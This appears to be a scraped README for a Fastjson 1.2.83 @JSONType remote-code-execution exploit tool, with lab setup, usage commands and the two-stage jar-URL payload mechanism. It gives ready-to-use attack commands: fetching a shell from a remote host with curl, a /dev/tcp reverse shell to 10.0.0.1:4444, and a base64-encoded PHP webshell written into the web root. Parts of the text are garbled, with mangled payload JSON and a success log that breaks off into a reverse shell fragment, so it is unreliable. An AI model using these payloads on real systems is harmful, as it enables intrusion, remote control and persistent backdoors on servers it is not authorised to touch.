Exploit for Fastjson1.2.83_EXP

Name: Exploit for Fastjson1.2.83_EXP
Rating: 5 (11 reviews)
2026-07-23 | CVSS 5.8
## https://sploitus.com/exploit?id=9CAADA5F-BA0B-5278-8017-884C175C3796
# Fastjson 1.2.83 @JSONType RCE

Fastjson 1.2.83 RCE exploitation tool, implemented using the `@JSONType` annotation and FD detection. > ⚠️ **This tool is intended only for authorized security testing and research purposes. Do not use for illegal purposes.**

---

## Directory Structure

```
├── fastjson_vul.jar    # Vulnerability-laden Fastjson service in the lab environment
├── fd_enum_exp.py      # Exploitation script (main program)
├── Gen.java            # Malicious class generator (ASM bytecode operations)
├── asm.jar             # ASM bytecode framework dependencies
└── README.md
```

## Environment Requirements

| Requirement | Description |
|--------------|------------------|
| **Operating System** | 🐧 **Only Linux supported** (both lab and attack machines require it) |
| **JDK** | JDK 8 (requires `java`, `javac`, `jar` commands) |
| **Python** | Python 3 + `requests` library |
| **Network** | Attack machine must be able to communicate with the lab machine |

> ⚠️ **Important**: This tool can only be used in a Linux environment. It will not work on Windows due to differences in path formats, `/proc/self/fd/` mechanisms, etc. ---

## Lab Instructions

`fastjson_vul.jar` is a pre-compiled vulnerability lab. It contains a HTTP service that uses Fastjson 1.2.83, accepting JSON input and triggering deserialization. **To start the lab:**

```bash
java -jar fastjson_vul.jar
```

By default, it listens on `0.0.0.0:8080`, accepts POST requests, and the JSON parsing endpoint is `/parse`. ---

## How to Use

### 1. Start the lab (lab machine)

```bash
java -jar fastjson_vul.jar
```

### 2. Run the exploitation script (attack machine)

```bash
python3 fd_enum_exp.py
```

**Parameter Explanation:**

| Parameter | Description | Example |
|--------------|-----------------|------------|
| `target-url` | Vulnerability endpoint URL of the lab | `http://192.168.150.128:8080/parse` |
| `local-ip` | IP address of the attack machine (accessible by the lab machine) | `192.168.150.1` |
| `--cmd` | Custom command to execute (optional) | `"curl http://vps:port/shell"` |

**Example:**

```bash
# Basic usage
python3 fd_enum_exp.py http://192.168.150.128:8080/parse 192.168.150.1

# Custom command
python3 fd_enum_exp.py http://192.168.150.128:8080/parse 192.168.150.1 --cmd "id > /tmp/pwned"
```

---

## Vulnerability Mechanism

### Vulnerability Background

Fastjson 1.2.83 disables `autoType` by default (meaning it does not allow automatic loading of any classes via `@type`). However, due to special handling for classes annotated with `@JSONType`, attackers can bypass the `autoType` restriction. ### Exploitation Process (Two Stages)

```
┌─────────────────────────────────────────────────────────────────┐
│  Stage 1: POC1 — Have the lab machine download the malicious jar from the attack machine    │

│                                                                 │
│  {"@type":"jar:http::8000.!.POC","x":1}            │
│                                                                 │
│  → Fastjson detected a class with the @JSONType annotation; autoType check skipped          │
│  → The class loader downloads the jar from the attacker’s HTTP server via the jar:URL             │
│  → The JDK jar caching mechanism keeps the file descriptor of that jar open              │
└─────────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────────┐
│  Stage 2: POC2 — Locates the cached jar by FD number and triggers RCE         │
│                                                                 │
│  {"@type":"jar:file:.proc.self.fd.!.POC","x":1}             │
│                                                                 │
│  → Scans /proc/self/fd/28..99 to find still-opened jars                   │
│  → When a match is found, the class loader parses the jar URL and defines the malicious class      │
│  → The static initialization block of the class is executed → Runtime.exec() → RCE       │
└─────────────────────────────────────────────────────────────────┘
```

### Success Criteria

1. **Script outputs “HIT”**: POC2 returns a status code other than 500, indicating success.
2. **Check the `/tmp/PWNED` file on the target machine**: The payload writes a marker file by default.
3. **Check the HTTP server access log**: Determine which jar from the target machine was downloaded.

**Example of successful execution:**

```
[*] fd 28  POC1 -> 200  POC2 -> 500
[*] fd 29  POC1 -> 200  POC2 -> 500
[*] fd 30  POC1 -> 200  POC2 -> 200  & /dev/tcp/10.0.0.1/4444 0>&1"

# Write a webshell
python3 fd_enum_exp.py http://target:8080/parse 10.0.0.1 --cmd "echo PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+ | base64 -d > /var/www/html/shell.php"
```

---

## Acknowledgments

- [wouijvziqy/Fastjson-JsonType-RCE-PoC](https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC) — The technical implementation of using jar-URL as an internal name.

## Disclaimer

This tool is intended for security research and authorized penetration testing purposes only. Users must comply with local laws and regulations. Any consequences arising from the use of this tool are the sole responsibility of the user.